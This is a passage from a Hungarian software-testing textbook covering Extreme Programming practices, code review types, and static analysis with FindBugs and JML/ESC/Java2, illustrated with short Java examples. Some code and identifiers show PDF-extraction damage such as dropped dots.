megértését segíti Burn down chart (Napi Eredmény Kimutatás): Ez egy diagram, amely segít megmutatni, hogy az ideális munkatempóhoz képest hogyan halad a csapat az aktuális sprinten belül. Könnyen leolvasható róla, hogy a csapat éppen elakadt-e egy ponton, akár arra is lehet következtetni, hogy ilyen iramban kész lesz-e minden a sprint végére. Vagy éppen ellenkezőleg, sikerült felgyorsítani az iramot, és időben, vagy akár kicsit hamarabb is kész lehet a bevállalt munka. 2.46 Extrém programozás Az extrém programozás (angolul: Extreme Programming, vagy röviden: XP) egy agilis módszertan. A nevében az extrém szó onnan jön, hogy az eddigi módszertanokból átveszi a jól bevált technikákat és azokat nem csak jól, hanem extrém jól alkalmazza, minden mást feleslegesnek tekint. Gyakran összekeverik a „programozzunk összeesésig” módszerrel, amivel egy-két 24 órás vagy akár 48 órás programozó versenyen találkozhatunk. Az extrém

programozás 4 tevékenységet ír elő. Ezek a következők: • Kódolás: A forráskód a projekt legfontosabb terméke, ezért a kódolásra kell a hangsúlyt helyezni. Igazán kódolás közben jönnek ki a feladat nehézségei, hiába gondoltuk azt át előtte. A kód a legalkalmasabb a két programozó közötti kommunikációra, mivel azt nem lehet kétféleképpen érteni. A kód alkalmas a programozó gondolatainak kifejezésére. • Tesztelés: Addig nem lehetünk benne biztosak, hogy egy funkció működik, amíg nem teszteltük. Az extrém felfogás szerint kevés tesztelés kevés hibát talál, extrém sok tesztelés megtalálja mind. A tesztelés játssza a dokumentáció szerepét Nem dokumentáljuk a metódusokat, hanem unit-teszteket fejlesztünk hozzá. Nem készítünk követelmény specifikációt, hanem átvételi teszteseteket fejlesztünk a megértett követelményekből. • Odafigyelés: A fejlesztőknek oda kell figyelniük a megrendelőkre, meg kell

érteniük az igényeiket. El kell magyarázni nekik, hogy hogyan lehet technikailag kivitelezni ezeket az igényeket, és ha egy igény kivitelezhetetlen, ezt meg kell értetni a megrendelővel. 2-19 • Tervezés: Tervezés nélkül nem lehet szoftvert fejleszteni, mert az ad- hoc megoldások átláthatatlan struktúrához vezetnek. Mivel fel kell készülni az igények változására, ezért úgy kell megtervezni a szoftvert, hogy egyes komponensei amennyire csak lehet függetlenek legyenek a többitől. Ezért érdemes pl objektum orientált tervezési alapelveket használni. Néhány extrém programozásra jellemző technika: • Páros programozás (pair programming): Két programozó ír egy kódot, pontosabban az egyik írja, a másik figyeli. Ha hibát lát vagy nem érti, akkor azonnal szól A két programozó folyamatosan megbeszélik hogyan érdemes megoldani az adott problémát. • Teszt vezérelt fejlesztés (test driven development): Már a metódus elkészítése

előtt megírjuk a hozzá tartozó unit-teszteket. Ezt néha hívják először a teszt (test-first) megközelítésnek is. • Forráskód átnézés (code review): Az elkészült nagyobb modulokat, pl. osztályokat, egy vezető fejlesztő átnézi, hogy van-e benne hiba, nem érthető, nem dokumentált rész. A modul fejlesztői elmagyarázzák mit és miért csináltak A vezető fejlesztő elmondja, hogyan lehet ezt jobban, szebben csinálni. • Folyamatos integráció (continuous integration): A nap (vagy a hét) végén, a verziókövető rendszerbe bekerült kódokat integrációs teszt alá vetjük, hogy kiderüljön, hogy azok képesek-e együttműködni. Így nagyon korán kiszűrhető a programozók közti félreértés. • Kódszépítés (refactoring): A már letesztelt, működő kódot lehet szépíteni, ami esetleg lassú, rugalmatlan, vagy egyszerűen csak csúnya. A kódszépítés előfeltétele, hogy legyen sok unit-teszt. A szépítés során nem szabad

megváltoztatni a kód funkcionalitását, de a szerkezet, pl. egy metódus törzse, szabadon változtatható A szépítés után minden unit-tesztet le kell futtatni, nem csak a megváltozott kódhoz tartozókat, hogy lássuk, a változások okoztak-e hibát. 2-20 Az extrém programozás akkor működik jól, ha a megrendelő biztosítani tud egy munkatársat, aki átlátja a megrendelő folyamatait, tudja, mire van szükség. Ha a változó, vagy a menet közben kiderített követelmények miatt gyakran át kell írni már elkészült részeket, akkor az extrém programozás nagyon rossz választás. Kezdő programozók esetén az extrém programozás nem alkalmazható, mert nincs elég tapasztalatuk az extrém módszerek alkalmazásához. Az extrém programozás legnagyobb erénye, hogy olyan fejlesztési módszereket hozott a felszínre, amik magas minőséget biztosítanak. Ezek, mint pl a páros programozás, nagyon népszerűek lettek. 2-21 Tartalomjegyzék 2 A

tesztelés helye a szoftver életciklusában . 2-1 2.1 A szoftverkrízis . 2-1 2.2 A szoftver életciklusa . 2-1 2.3 Módszertanok . 2-3 2.4 V-modell. 2-3 2.41 Prototípus modell . 2-5 2.42 Iteratív és inkrementális módszertanok. 2-7 2.43 Gyors alkalmazásfejlesztés – RAD . 2-10 2.44 Agilis szoftverfejlesztés . 2-12 2.45 Scrum . 2-14 2.46 Extrém programozás . 2-19 2-22 3 Statikus tesztelési technikák A statikus tesztelési technikák a szoftver forrás kódját vizsgálják fordítási időben. Ide tartozik a dokumentáció felülvizsgálata is. A statikus tesztelés párja a dinamikus tesztelés, amely a szoftvert futásidőben teszteli. A statikus tesztelési technikáknak két fajtája van: • felülvizsgálat és • statikus elemzés. A felülvizsgálat a kód, illetve a dokumentáció, vagy ezek együttes manuális átnézését jelenti. Ide tartozik például a páros programozás. A statikus elemzés a kód, illetve a

dokumentáció automatikus vizsgálatát jelenti, ahol a statikus elemzést végző segédeszköz megvizsgálja a kódot (illetve a dokumentációt), hogy bizonyos szabályoknak megfelel-e. Ide tartozik például a helyesírás ellenőrzés. A statikus technikával más típusú hibák találhatóak meg könnyen, mint a dinamikus tesztelési technikákkal. Statikus technikákkal könnyen megtalálhatóak azok a kód sorok, ahol null referencián keresztül akarunk metódust hívni. Ugyanezt elérni dinamikus teszteléssel nagyon költséges, hiszen 100%-os kód lefedettség kell hozzá. Ugyanakkor dinamikus teszteléssel könnyen észrevehető, hogy ha rossz képlet alapján számítjuk pl. az árengedményt Ugyanezt statikusan nehéz észrevenni, hacsak nincs egy szemfüles vezető programozónk, aki átlátja az üzleti oldalt is. A statikus tesztelési technikák előnye, hogy nagyon korán alkalmazhatóak, már akkor is, amikor még nincs is futtatható verzió. Így hamarabb lehet

velük hibákat találni és így gazdaságosabb a hibajavítás. 3.1 Felülvizsgálat A felülvizsgálat azt jelenti, hogy manuálisan átnézzük a forráskódot és fejben futtatjuk vagy egyszerűen csak gyanús részeket keresünk benne. Ezzel szemben áll a statikus elemzés, ahol szoftverekkel nézetjük át automatikusan a forráskódot. A felülvizsgálat fehérdobozos teszt, mivel kell hozzá a forráskód. A felülvizsgálat lehet informális, pl páros programozás, de akár nagyon formális is, amikor a folyamatot jól dokumentáljuk, illetve a két szélsőség közti átmenetek. Ezeket a hibákat könnyebb felülvizsgálattal megtalálni, mint más technikákkal: • szabványoktól / kódolási szabályoktól való eltérések, • követelményekkel kapcsolatos hibák, pl. nincs minden funkcionális követelményhez funkció, • tervezési hibák, pl. az adatbázis nincs harmadik normál-formában, • karbantarthatóság hiánya, pl. nincs biztonsági mentés és

visszaállítás funkció, • hibás interfész-specifikációk, pl. dokumentálatlan feltételezések 3-1 A felülvizsgálat legismertebb típusai: • informális felülvizsgálat (csoporton belüli), • átvizsgálás (házon belüli), • technikai felülvizsgálat (külsős szakérő bevonásával rövid idejű), • inspekció (külsős szakérő bevonásával hosszú idejű). 3.11 Informális felülvizsgálat Sok szoftvercégnél elfogadott megoldás, hogy egy tapasztalt programozó átnézi (review) a kezdők kódját. A kezdők a kritikából rengeteg tapasztalatot szerezhetnek A kockázatosnak ítélt részeket (pl. amire gyakran kerül a vezérlés, vagy kevésbé ismert megoldást alkalmaz) több tapasztalt programozó is átnézheti. Ennek hatékonysága függ az átnézők rátermettségétől Ez talán a leginformálisabb megoldás. Ehhez hasonló a páros programozás (pair programming) is. Ekkor két programozó ír egy kódot, pontosabban az egyik írja, a

másik figyeli. Ha a figyelő hibát lát vagy nem érti a kódot, akkor azonnal szól. A két programozó folyamatosan megbeszéli, hogy hogyan érdemes megoldani az adott problémát. A kódszépítés (refactoring) egy másik módja a felülvizsgálatnak. Ilyenkor a már letesztelt, működő kódot lehet szépíteni, ami esetleg lassú, rugalmatlan, vagy egyszerűen csak csúnya. A kódszépítés előfeltétele, hogy legyen sok unit-teszt. A szépítés során nem szabad megváltoztatni a kód funkcionalitását, de a szerkezet, pl. egy metódus törzse, szabadon változtatható A szépítés után minden unit-tesztet le kell futtatni, nem csak a megváltozott kódhoz tartozókat, hogy lássuk, a változások okoztak-e hibát. A kódszépítést a szerző és egy tapasztalt programozó végzi közösen Az informális felülvizsgálat legfőbb jellemzői: • informális, a fejlesztő csapaton belüli felülvizsgálat, • kezdeményezheti a szerző vagy egy tapasztaltabb

fejlesztő, ritkán a menedzsment, • hatékonysága függ az átnéző személyétől, minél tapasztaltabb, annál több hibát vehet észre, • célja a korai költséghatékony hiba felderítés. 3.12 Átvizsgálás Ez már kicsit formálisabb módja a felülvizsgálatnak. Általában a módszertan előírja, hogy az elkészült kisebb-nagyobb modulokat ismertetni kell a csapat többi tagjával, a többi csapattal. Célja, hogy a mások is átlássák az általunk írt kódrészletet (ez csökkenti a kárt, amit egy programozó elvesztése okozhat, lásd kockázat menedzsment), kritikai megjegyzéseikkel segítsék a kód minőségének javítását. Aszerint, hogy hány embernek mutatjuk be az elkészült modult, ezekről beszélhetünk: 3-2 • váll feletti átnézés (over-the-shoulder review), • forráskód átnézés (code review), • kód átvétel (code acceptance review) • körbeküldés (pass-around), • csoportos átnézés (team review), • felület

átnézés (interface review), • kód prezentálás (code presentation). Váll feletti átnézés (over-the-shoulder review): Az egyik programozó egy ideje nézi saját forráskódját, de nem találja a hibát. Valamelyik kollégáját megkéri, hogy segítsen Mialatt elmagyarázza a problémát, általában rá is jön a megoldásra. Ha mégsem, akkor a kollégának lehet egy jó ötlete, hogy mi okozhatja a hibát. Általában ennyi elég is a hiba megtalálásához Ha nem, jöhet a forráskód átnézés. Forráskód átnézés (code review): A kód írója megkér egy tapasztalt programozót, hogy segítsen megtalálni egy nehezen megtalálható hibát. Együtt nyomkövetik a programot, miközben a szerző magyarázza, mit miért csinált. Ellenőrzik, hogy a kód megfelel-e a specifikációnak Ezt addig fojtatják, amíg meg nem találják a hibát. Kód átvétel (code acceptance review): Az elkészült nagyobb modulokat, pl. osztályokat, a vezető fejlesztő vagy egy

tapasztalt programozó átnézi, hogy van-e benne hiba, nem érthető, nem dokumentált rész. A modul fejlesztői elmagyarázzák mit és miért csináltak A vezető fejlesztő elmondja, hogyan lehet ezt jobban, szebben csinálni. Ha hibát talál (ez gyakran logikai hiba), akkor arra rámutat, vázolja a javítást. Körbeküldés (pass-around): A kód szerzője körbeküldi az általa írt kódrészletet, ami akár egy egész modul is lehet. A címzettek véleményezik a kódot, például megírják, melyik részét érdemes tesztelni. A körbeküldés általában megelőzi a kód felvételét a verziókövető rendszerbe Általában csak akkor használják, ha egy kódrészlet kritikus fontosságú, pl. egy sokak által használt interfész Az intenzív kommunikációt előíró módszertanokra (pl. Scrum) nem jellemző Csoportos átnézés (team review): A csoportos átnézés a körbeküldést helyettesíti. Itt is egy érzékeny kódrészletet néznek át többen, de

interaktívan. A kódot a szerző prezentálja, sorról sorra magyarázza. Általában elvárás, hogy ha valaki valamit nem ért, azonnal szóljon A prezentáció végén a vezető programozó elmondja, szerinte mit lehetett volna jobban csinálni. Ehhez is gyakran hozzászólnak a többiek. Több módszertan (pl extrém programozás) limitálja ezen alkalmak időhosszát fél vagy egy órában. Felület átnézés (interface review): Hasonló a csoportos átnézéshez, de itt általában több embernek mutatjuk be azt az interfészt, amelyen keresztül a csoportunk fejlesztése lesz elérhető. Ez azért fontos, hogy az egyes csoportok egyeztetni tudják elvárásaikat egymás felé. Ezeket rögzítik 3-3 és az integrációs teszt során felhasználják. Kód prezentálás (code presentation): Hasonló a csoportos átnézéshez, de az érdekes kódot nem a csoporton belül, hanem a cégen belül mutatjuk be. Akkor gyakori, ha több telephelyen fejlesztik ugyanazt a szoftvert.

Nem feltétlenül az egész cég vesz részt benne, lehet, hogy csak három ember, de könnyen előfordulhat, hogy ezek más-más kontinensen vannak. A kód prezentálás célja lehet egy hiba bemutatása, amit egy másik csapat talált és megkéri a kód tulajdonosát, hogy javítsa. Másik gyakori cél a csúcs fejlesztők összehozása, hogy a keretrendszer továbbfejlesztését megbeszéljék. Az átvizsgálás legfőbb jellemzői: • a moderátor maga a szerző, lehet jegyzőkönyvvezető is, de az nem a szerző, • a résztvevők a cég alkalmazottai, külső szakértők nem jellemzőek, • lehet informális és formális is, ha formális, akkor van pl. jegyzőkönyv, • általában a módszertan írja elő vagy a menedzsment kezdeményezi, • a szerzők jól felkészülnek, pl. szemléltető ábrákat készítenek, a többi résztvevő átnézi a kapcsolódó dokumentációt, • célja az elkészült modulok ismertetése, megértések, azokban hibakeresés. 3.13 Technikai

felülvizsgálat Technikai felülvizsgálatra általában akkor kerül sor, ha a szoftver teljesítményével nem vagyunk elégedettek. Azt általában könnyű megtalálni a felhasználói visszajelzések és úgynevezett profiler programok segítségével, hogy mi az a szűk keresztmetszet (angolul: bottleneck), ami a lassúságot okozza. Ugyanakkor az nagyon nehéz kérdés, hogyan oldjuk fel ezeket a szűk keresztmetszeteket Ha lenne egyszerű megoldás, akkor a programozók eleve azt használták volna, tehát ez általában a szoftver cég alkalmazottainak tudását meghaladó probléma. Ilyenkor külső szakértőket szoktak felkérni, hogy segítsenek. Leggyakrabban egy-egy lekérdezés bizonyul túl lassúnak. Ilyenkor egy index hozzáadás a táblához nagyságrendekkel gyorsítja a lekérdezést. A kérdés már csak az, mit indexeljünk és hogyan A külsős szakértők átnézik a megoldásunkat és javaslatokat adnak. Mivel ez a fajta tanácsadás nagyon drága, ezért ez

egy jól dokumentált folyamat. A szoftvercég leírja, hogy mi a probléma. Mind a cég alkalmazottai, mind a szakértők felkészülnek, átnézik a dokumentációkat. A megbeszélést általában egy moderátor vezeti, aki jegyzőkönyvet is ír A moderátor nem lehet a program írója. A résztvevők megbeszélik, hogy mi a probléma gyökere A szakértők több megoldási javaslatot is adnak. Kiválasztanak egy megoldást Ezt vagy a szerző, vagy a szakértők implementálják. A technikai vizsgálat másik típusa, amikor külső szakértők azt ellenőrzik, hogy a szoftver vagy a dokumentációja megfelel-e az előírt szabványoknak. Az ellenőrzést nem a megrendelő, hanem a 3-4 szoftver cég vagy a szabvány hitelesítését végző szervezet kezdeményezi. Pl az emberi életre is veszélyes (life-critical) rendszerek dokumentációjára az IEC61508 szabvány vonatkozik. Ennek betartása a cég érdeke, mert ha kiderül, hogy nem tartja be a szabványt, akkor a

termékeit akár ki is vonhatják a piacról. Akkor is ehhez a technikához fordulnak, ha a szoftverben van egy hiba, amit nagyon nehéz reprodukálni, és a szoftver cég saját alkalmazottai nem tudják megtalálni (megtalálhatatlan hiba). Ez többszálú vagy elosztott rendszereknél fordul általában elő egy holtpont (deadlock) vagy kiéheztetés (starvation) formájában, de lehet ez egy memóriaszivárgás (memory lake) is. Ilyenkor a szakértő megmutatja, hogyan kell azt a statikus elemző szoftvert használni, pl. egy holtpont keresőt (deadlock checker), ami megtalálja a hibás részt. Az így feltárt hibát általában már a cég szakemberei is javítani tudják. A technikai felülvizsgálat legfőbb jellemzői: • a szoftver cég kezdeményezi, ha külső szakértők bevonására van szüksége, • moderátor vezeti (nem a szerző), jegyzőkönyvet vezet, • inkább formális, mint informális, • a találkozó előtt a résztvevők felkészülnek, •

opcionálisan ellenőrző lista használata, amit a felek előre elfogadnak, • célja a megtalálhatatlan hibák felderítése, vagy a szoftver lassúságát okozó szűk keresztmetszetek megszüntetés, vagy szabványok ellenőrzése. 3.14 Inspekció Ez a legformálisabb felülvizsgálat. Ezt is akkor használjuk, ha külső szakértő bevonására van szükségünk. A technikai felülvizsgálattól az különbözteti meg, hogy a szoftver cég és a szakértőt adó cég részletesebb szerződést köt, amely magában foglalja: • a megoldandó feladat leírását, • azt a célfeltételt, ami a probléma megoldásával el kell érni, • a célfeltételben használt metrikák leírását, • az inspekciós jelentés formáját. Míg a technikai átnézésnél gyakran csak annyit kérünk a szakértőktől, hogy legyen sokkal gyorsabb egy lekérdezés, az inspekció esetén leírjuk pontosan, hogy milyen gyors legyen. Az inspekció szó abból jön, hogy a probléma

megoldásához általában nem elég csak a szoftver egy részét átvizsgálni, hanem az egész forráskódot adatbázissal együtt inspekció alá kell vonni. Inspekciót alkalmazunk akkor is, ha egy régi (esetleg már nem támogatott programozási nyelven íródott) kódot akarunk szépíteni / átírni, hogy ismét rugalmasan lehessen bővíteni. 3-5 Az inspektornak nagy tekintélyű szakembernek kell lennie, mert az általa javasolt változtatások általában nagyon fájóak, nehezen kivitelezhetőek. Ha nincs meg a bizalom, hogy ezekkel a változtatásokkal el lehet érni a célt, akkor a fejlesztő csapat ellenállásán elbukhat a kezdeményezés. Az inspektort általában egy-két hónapig is a fejlesztők rendelkezésére áll szemben a technikai felülvizsgálattal, amikor a szakértők gyorsan, akár néhány óra alatt megoldják a problémát. Ezért ugyanannak a szakértőnek a napidíja általában kisebb inspekció esetén, mint technikai felülvizsgálat

esetén. Az inspekció lehet rövid távú is (egy-két hetes), ha a szakértőre nincs szükség a probléma megoldásához, csak a feltárásához. Ekkor a szakértő egy inspekciós jelentést ír, amely leírja, hogyan kell megoldani a problémát. Ehhez általában csatolni kell egy példa programot is, egy úgynevezett PoC-kot (Proof of Concept), amely alapján a cég saját fejlesztői is képesek megoldani a problémát. A PoC-oknak demonstrálnia kell, hogy a kívánt metrika értékek elérhetőek a segítségével. Az inspekció legfőbb jellemzői: • a szoftvercég kezdeményezi, ha hosszabb távon van szüksége külső szakértőre, • részletes szerződés szabályozza, ami a problémát, a célfeltételt és célban szereplő metrikákat is leírja, • opcionálisan PoC-ok (Proof of Concept) készítése, • inspekciós jelentés készítése, • célja teljesítmény fokozás a szakértő által kiválóan ismert technológia segítségével vagy elavult kód

frissítése. 3.2 Statikus elemzés A statikus elemzés fehérdobozos teszt, hiszen szükséges hozzá a forráskód. Néhány esetben, pl holtpont ellenőrzés, elegendő a lefordított köztes kód (byte kód). A statikus elemzés azért hasznos, mert olyan hibákat fedez fel, amiket más tesztelési eljárással nehéz megtalálni. Például kiszűrhető segítségével minden null referencia hivatkozás, ami az alkalmazás lefagyásához vezethet, ha benne marad a programban. Az összes null referencia hivatkozás kiszűrése dinamikus technikákkal (pl komponens teszttel vagy rendszerteszttel) nagyon sok időbe telne, mert 100%-os kódlefedettséget kellene elérnünk. A statikus elemzés azt használja ki, hogy az ilyen tipikus hibák leírhatók egyszerű szabályokkal, amiket egy egyszerű kódelemző (parser) gyorsan tud elemezni. Például null referencia hivatkozás akkor lehetséges, ha egy „a = null;” értékadó utasítás és egy „a.akármi;” hivatkozás közt

van olyan végrehajtási út, ahol az „a” referencia nem kap null-tól különböző értéket. Ugyan ezt lehet dinamikus technikákkal is vizsgálni, de ahhoz annyi tesztesetet kell fejleszteni, ami minden lehetséges végrehajtási utat tesztel az „a = null;” és az „a.akármi;” közt 3-6 A forráskód statikus elemzésnek két változata ismert, ezek: • statikus elemzés csak a forráskód alapján, • statikus elemzés a forráskód és modell alapján. Ezen túl lehetséges a dokumentumok statikus elemzése is, de ezekre nem térünk ki. A következő hiba típusokat könnyebb statikus elemzéssel megtalálni, mint más technikákkal: • null referenciára hivatkozás, • tömbök túl vagy alul indexelése, • nullával való osztás, • lezáratlan adat folyam (unclosed stream), • holtpontok (deadlock), • kiéheztetés (starvation). Az egyes eszközök lehetnek specifikusak, mint pl. a holtpont keresők, illetve általánosak, mint pl a FindBugs. 3.21

Statikus elemzés csak a forráskód alapján Azok az elemzők, amelyek csak a forráskódot használják fel az elemzéshez, azok nagyon hasznosak olyan szempontból, hogy nem igényelnek plusz erőfeszítést a programozóktól a specifikáció megírásához. Ilyen eszköz például a FindBugs Ezeket az eszközöket csak bele kell illeszteni a fordítás folyamatába. Ezután a statikus elemző felhívja a figyelmünket a tipikus programozói hibákra. Ezek általában programozási nyelv specifikusak, de léteznek nyelv függetlenek, pl a Sonar vagy a Yasca rendszer, amelyek egy-egy plugin segítségével adaptálhatóak a kedvenc nyelvünkhöz. Jelen jegyzetben a FindBugs használatát fogjuk bemutatni Eclipse környezetben. Először telepíteni kell a FindBugs plugint. Ehhez indítsuk el az Eclipse rendszert, majd válasszuk a Help -> Install New Software menüt. A megjelenő ablakban adjuk hozzá a plugin források listájához az alábbi linket az Add gombbal:

http://findbugs.csumdedu/eclipse Ezután néhány Next gomb és a felhasználási feltételek elfogadása után a rendszer elkezdi installálni a FindBugs plugint. Ez néhány percet vesz igénybe, ami után újraindul az Eclipse. Ezután már használhatjuk a FindBugs-t A használatához válasszunk ki egy projektet, majd a helyi menüben válasszuk a Find Bugs -> Find Bugs menüt. Ez egyrészt megkeresi azokat a sorokat, amelyek valamilyen szabálynak nem felelnek meg, másrészt átvisz minket a FindBugs perspektívába. Ha talál hibákat, akkor ezeket bal oldalon egy kicsi piros bogár ikonnal jelzi. Ha ezekre ráállunk vagy rákattintunk, akkor láthatjuk, milyen típusú hibát találtunk. Ezekről részletes információt is kérhetünk, ha a FindBugs perspektíva Bug Explorer ablakában kiválasztjuk valamelyiket. Az egyes hibák ellenőrzését ki/be lehet kapcsolni a projekt Properties ablakának FindBugs panelén. 3-7 Itt érdemes a Run atomatically opciót

bekapcsolni. Így minden egyes mentésnél lefut a FindBugs Ebben az ablakban az is látható, melyik hiba ellenőrzése gyors, illetve melyik lassú. Például a null referenciára hivatkozás ellenőrzése lassú. Nézzünk néhány gyakori hibát, amit megtalál a FindBugs az alapbeállításaival: public int fact(int n) { return n*fact(n-1); } Itt a „There is an apparent infinite recursive loop” figyelmeztetést kapjuk nagyon helyesen, hiszen itt egy rekurzív függvényt írtunk bázis feltétel nélkül, és így semmi se állítja meg a rekurziót. Integer i = 1, j = 0; if(i == j) System.outprintln("ugyanaz"); Ebben a példában a „Suspicious comparison of Integer references” figyelmeztetést kapjuk. Ez azért van, mert referenciák egyenlőségét ugyan tényleg a dupla egyenlőségjellel kell vizsgálni, de a mögöttük lévő tartalom egyenlőségét az equals metódussal kell megvizsgálni. Tehát ez egy lehetséges hiba, amit érdemes a fejlesztőknek

alaposan megnézni. int i = 0; i = i++; System.outprintln(i); Itt több hibát is kapunk: „Overwritten increment” és „Self assignment of local variable”. Az első hiba arra utal, hogy hiába akartuk növelni az i változó értékét, az elvész. A második hiba azt fejezi ki, hogy egy változót önmagával akarunk felülírni. Nézzünk olyan esetet is, aminél hibásan ad figyelmeztetést a FindBugs: public static void main(String[] args){ Object o = null; int i = 1; if(i == 1) o = "hello"; System.outprintln(otoString()); } A fenti esetre a „Possible null pointer dereference of o” hibát kapjuk, habár egyértelműen látszik, hogy az o értéket fog kapni, hiszen igaz az if utasítás feltétele. Ugyanakkor a FindBugs rendszer nem képes kiszámolni a változók lehetséges értékeit az egyes ágakon, hiszen nem tartalmaz egy automatikus tételbizonyítót. Ezzel szemben a következő alfejezetben tárgyalt ESC/Java2 eszköz képes erre, hiszen egy

automatikus tételbizonyítóra épül. 3.22 Statikus elemzés a forráskód és modell alapján Ebben az esetben a forráskód mellett van egy modellünk is, ami leírja, hogyan kellene működnie a programnak. A program viselkedése ilyen esetben elő- és utófeltételekkel, illetve invariánsokkal van leírva. Ezt úgy érjük el legkönnyebben, hogy kontraktus alapú tervezést (design by contract) használunk. Ez esetben minden metódusnak van egy kontraktusa, amely a metódus elő- és utófeltételében ölt testet. A szerződés kimondja, hogy ha a metódus hívása előtt igaz az előfeltétele, akkor a metódus lefutása után igaznak kell lennie az utófeltételének. Az invariánsok általában osztály szintűek, leírják az osztály lehetséges belső állapotait. A program viselkedését legegyszerűbben assert utasításokkal írhatjuk le. 3-8 Egy példa assert használatára: public double division(double a, double b){ assert(b!=0.0); return a / b; } A fenti

példában azt feltételezzük, hogy a metódus második paramétere nem nulla. A program kódjában a feltételezéseinket assert formájában tudjuk beírni Java esetén. Java esetén az assert utasítások csak akkor futnak le, ha a JVM-et a –enableassert vagy az egyenértékű –ea opcióval futtatjuk, egyébként nincs hatásuk. C# esetén a fenti példa megfelelője ez: public double division(double a, double b) { System.DiagnosticsDebugAssert(b != 00); return a / b; } Az Assert csak akkor fog lefutni, ha a Debug módban fordítjuk az alkalmazást. A program viselkedését legegyszerűbben assert utasítások lehet leírni, de lehetőségünk van magas szintű viselkedés leíró nyelvek használatára, mint például a JML (Java Modeling Language) nyelv. Ez esetben magas szintű statikus kód ellenőrzést (Extended Static Checking, ESC) tudunk végezni az ESC/Java2 program segítségével. Egy példa JML használatára: public class BankSzámla { private /*@ spec public @/

int balansz = 0; private /*@ spec public @/ boolean zárolt = false; //@ public invariant balansz >= 0; //@ requires 0 < összeg; //@ assignable balansz; //@ ensures balansz == old(balansz) + összeg; public void betesz(int összeg) { balansz += összeg; } //@ requires 0 < összeg && összeg <= balansz; //@ assignable balansz; //@ ensures balansz == old(balansz) - összeg; public void kivesz(int összeg) { balansz -= összeg; } //@ assignable zárolt; //@ ensures zárolt == true; public void zárol() { zárolt = true; } //@ requires !zárolt; //@ ensures esult == balansz; //@ also //@ requires zárolt; //@ signals only BankingException; public /*@ pure @/ int getBalansz() throws BankingException 3-9 { if (!zárolt) { return balansz; } else { throw new BankingException("Zárolt a számla"); } } } Ebből a kis példából lehet látni, hogy a JML specifikációt megjegyzésbe kell írni, amely az @ jellel kezdődik. A spec public kulcsszóval teszünk

láthatóvá egy mezőt a JML specifikáció számára Az invariant kulcsszó után adjuk meg az osztály invariánsát, amelynek minden (nem helper) metódus hívás előtt és után igaznak kell lennie. Az előfeltételt a requires kulcsszó után kell írni Maga a feltétel egy szabályos Java logikai kifejezés. A kifejezésben lehet használni JML predikátumokat is Az utófeltétel kulcsszava az ensures. Lehet látni, hogy az utófeltételben lehet hivatkozni a visszatérési értékre a esult JML kifejezéssel. Az old(x) JML kifejezés az x változó metódus futása előtti értékére hivatkozik. Az assignable kulcsszó segítségével úgynevezett keretfeltétel (frame condition) adható, amiben felsorolhatom, hogy a metóduson belül mely mezők értékét lehet megváltoztatni. Ha egyik mező értékét sem változtathatja meg a metódus, akkor azt mondjuk, hogy nincs mellékhatása. Az ilyen metódusokat a pure kulcsszóval jelöljük meg Elő- és utófeltételben csak

pure metódusok hívhatok. Az also kulcsszó esetszétválogatásra szolgál A signals only kulcsszó után adható meg, hogy milyen kivételt válthat ki a metódus. Az fenti példában van egy BankSzámla osztályunk, amelyben a balansz mező tárolja, hogy mennyi pénzünk van. Az invariánsunk az fejezi ki, hogy a balansz nem lehet negatív Négy metódusunk van A metódusoknál megadjuk elő- és utófeltételüket természetes nyelven:
betesz(összeg)
Előfeltétel: Az összeg pozitív szám, mert nulla forintot nincs értelme betenni, negatív összeget pedig nem szabad.
Keret feltétel: Csak a balansz mezőt írhatja.
Utófeltétel: A balanszot meg kell növelni az összeggel, azaz az új balansz a régi balansz plusz az összeg.
kivesz(összeg)
Előfeltétel: Az összeg pozitív szám, mert nulla forintot nincs értelme kivenni, negatív összeget pedig nem szabad. Továbbá az összeg kisebb egyenlő, mint a balansz, mert a számlán lévő összegnél nem lehet

többet felvenni.
Keret feltétel: Csak a balansz mezőt írhatja.
Utófeltétel: A balanszot csökkenteni kell az összeggel, azaz az új balansz a régi balansz mínusz az összeg.
zárol() 3-10
Előfeltétel: Nincs, azaz mindig igaz.
Keret feltétel: Csak a zárolt mezőt írhatja.
Utófeltétel: A zárolt mezőnek igaznak kell lennie.
getBalansz()
Két esetet különböztetünk meg, ahol az előfeltételek kizárják egymást.
Előfeltétel: A számla nem zárolt.
Utófeltétel: A visszatérési érték megegyezik a balansz értékével.
Előfeltétel: A számla zárolt.
Kivétel: Zárolt számla nem kérdezhető le, ezért BankingException kivételt kell dobni.
Keret feltétel: Mindkét esetben egyik mező sem írható, tehát ez a metódus „pure”. A JML nyelvhez több segédeszköz is létezik. Az első ilyen az Iowa State University JML program Ez a következő részekből áll:
jml: JML szintaxis ellenőrző
jmlc: Java és JML fordító, a

Java forrásban lévő JML specifikációt belefordítja a bájtkódba.
jmlrac: a jmlc által instrumentált bájtkódot futtató JVM, futtatás közben ellenőrzi a specifikációt, tehát dinamikus ellenőrzést végez. Nekünk a JML 5.4 és 55 verziót volt szerencsénk kipróbálni Sajnos ezek csak a Java 14 verzióig támogatják a Java nyelvet. Nem ismerik például a paraméteres osztályokat Ha simán hívjuk meg a jmlc parancsot, akkor rengeteg információt kiír, ami esetleg elfed egy hibát. Ezért érdemes a -Q vagy a -Quite opcióval együtt használni. A BankSzámla példát a következő utasításokkal lehet ellenőrizni, hogy megfelel-e specifikációjának: jmlc -Q BankSzámla.java jmlrac BankSzámla Persze ehhez a BankSzámla osztályba kell írni egy main metódust is, hiszen az a belépési pont. Második példa: //* AbstractAccount.java * package bank3; 3-11 public abstract class AbstractAccount { //@ public model int balance; //@ public invariant balance

>= 0; //@ requires amount > 0; //@ assignable balance; //@ ensures balance == old(balance + amount); public abstract void credit(int amount); //@ requires 0 < amount && amount <= balance; //@ assignable balance; //@ ensures balance == old(balance) - amount; public abstract void debit(int amount); //@ ensures esult == balance; public abstract /*@ pure @/ int getBalance(); } //* Account.java * package bank3; public class Account extends AbstractAccount{ private /*@ super.balance; spec public @*/ int balance = 0; //@ in //@ private represents super.balance = balance; public void credit(int amount) { balance += amount; } public void debit(int amount) { balance -= amount; } public int getBalance() { return balance; } } Ez a példa azt mutatja meg, hogyan lehet már az interfészben vagy az absztrakt ős osztályban specifikálni az elvárt viselkedést. Ehhez egy modell mezőt kell definiálni az ősben (vagy az interfészben) a „model” kulcsszóval. A

